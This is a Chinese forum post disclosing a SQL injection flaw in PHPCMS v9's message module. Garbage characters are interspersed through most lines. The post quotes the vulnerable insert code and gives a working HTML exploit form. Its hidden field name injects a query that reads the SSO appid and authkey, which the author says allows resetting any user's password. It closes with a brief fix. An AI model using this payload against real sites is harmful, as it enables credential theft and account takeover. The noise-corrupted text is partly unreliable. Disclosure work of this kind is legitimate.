|
简要描述:
, C5 y! C5 j: z; _, ? l/ p" j- C8 Z, e( X) g) |& w
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。; I6 t4 x) y7 C# C7 f# I. k
" P( v& {0 c! k& C0 K9 a明天再更新下一个漏洞。* O/ s& d% f! G+ U2 {2 v. i
详细说明:% ^7 b: n* e- f. e% g5 t+ b3 b* }' T
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
0 F- e: k: G6 q9 C" R" g; |
! `% x% ^6 K; w5 a( {4 \$messageid = $this->message_db->insert($_POST['info'],true);0 @4 A( C2 _9 ^" O, y$ ?
3 j! ]( R' b/ w" D5 l" v* b! T* k. h2 U5 V6 T7 z
insert方法是key value的,代码如下:
+ F" |1 h6 g% N) |& _) a. B; B* L
1 O7 N( T* C G% }+ opublic function insert($data, $table, $return_insert_id = false, $replace = false) {( O$ f, M1 F5 J! _8 } W
if(!is_array( $data ) || $table == '' || count($data) == 0) {5 j# j ]- `2 W( J+ B7 K
return false;
0 P0 |; S7 ~! K }
4 `7 g0 c# i: b/ B# { E : t0 x7 v( c5 ?: \' `+ @) a. I. P
$fielddata = array_keys($data);
. @2 B) X% z! f" F $valuedata = array_values($data);
3 Z5 @4 A+ G1 w4 ?5 y# ?: V array_walk($fielddata, array($this, 'add_special_char'));6 h# \/ D! X7 j9 w+ g9 Q" B
array_walk($valuedata, array($this, 'escape_string'));
; k- Q+ Y( y& w( I/ [/ O
& K4 v' ?6 Q. q) M0 |- b" { $field = implode (',', $fielddata);7 j# F3 X) q# Y4 |% e
$value = implode (',', $valuedata);& s N. u( N. ]0 ^0 P
# P; O( s ]/ K9 x0 c4 a0 ~
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
( |: B! M6 I P $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
/ Z# w- x D" x' }3 ~4 a6 j $return = $this->execute($sql);- z0 y: B" {4 J8 A8 r! I
return $return_insert_id ? $this->insert_id() : $return;
; x5 E; G3 R/ \* ~- b }: ]# c$ a& u6 ?5 C7 b
* `5 o& _# a( c; K$ o
+ `) I% p/ T, z& v+ w嗯,很遗憾的是
7 I* W6 q8 n& b( M9 P/ }" d! z. t. i+ k
array_walk($fielddata, array($this, 'add_special_char'));. A, k, U; q) |1 K
& I+ F; N' u8 t8 ]
4 g/ c7 h9 l, ]2 l中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
6 E) {( O: o4 `/ ]/ v) v' P- x6 |# M" K1 e
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
$ g; y7 i4 B5 \+ d. j4 R' v1 F% K7 M
漏洞证明:
2 w/ |9 q2 K! l/ D0 A3 C: f读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
! f V( m$ `' @: B; x' k4 \( L5 S
0 s7 w: P& Y5 ?5 E- A表单如下:用户名什么的得自己改一改。
- {$ e. {( B( n$ P9 R<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
( {# V# P! X3 W6 Y<table width="100%" cellspacing="0" class="table_form">1 L2 v. ]8 s+ U: f
<tr>
7 d% [& F7 _0 O* T0 w% x5 ]& J( z<th>标 题:</th>* |+ x" f5 w/ m+ ~: b9 W
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
" c4 ^7 y- L" E4 l! {</tr> & H/ r* a5 R" X. f! N
<tr>
. J2 F8 c. Y/ R<th>内 容:</th>! I) R4 z+ ?! U) Q. S1 r, y: G
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>& P( @' _* l- [8 s" f. ~8 E
</tr>
3 d4 t$ J: `7 h4 {, L<input type="hidden" name="info[replyid]" value="2" />
; a( s# u9 e/ ~0 G- x7 K1 }0 R<input type="hidden" name="info[send_to_id]" value="cc" /> / [; h6 ?+ ]& q/ r! C8 {2 V
<input type="hidden" name="info[send_from_id]" value="hh">9 f1 e6 C/ h! o% s: J
<!-- 漏洞的利用重点在这里开始 -->* i2 c% t) l. L% z
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> . g4 p5 n N9 h0 L% |8 n3 M1 o
<!-- 漏洞的利用重点在这里结束 -->
9 K; _* z9 }( ?0 ~6 M# U: n<tr>
. a0 r0 b9 ~7 b& E) X- T<th>验证码:</th>
' Q* D* F( H+ [7 w! U<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td># \5 F0 a: b+ F2 _4 N1 r
</tr>
8 j @- d9 E0 @1 C+ l* P0 l& D- n<tr>" Y$ e3 u3 d3 Y8 W/ R5 Q
<td></td>9 s" l) N0 @6 S5 g+ g6 [
<td colspan="2"><label>1 a5 P% V' k5 r" f& U, }" F
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
6 {6 G) d' n) i L</label></td>
! l3 @& O4 e. E& y' z</tr>
3 w4 {2 i0 W" U X' N) \4 W</table>9 y" C3 W# A- [; c! B8 Z
</form>6 I8 M, s3 U# Q' _" l1 Z
在add_special_char函数内对key做过滤就可以了。, ]. O9 l! w- x. M
. ^! g( m3 n4 x, d m2 |3 J* [! i
0 `( V/ ~: Y0 V9 S/ a; c2 K V6 } }' d* L
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|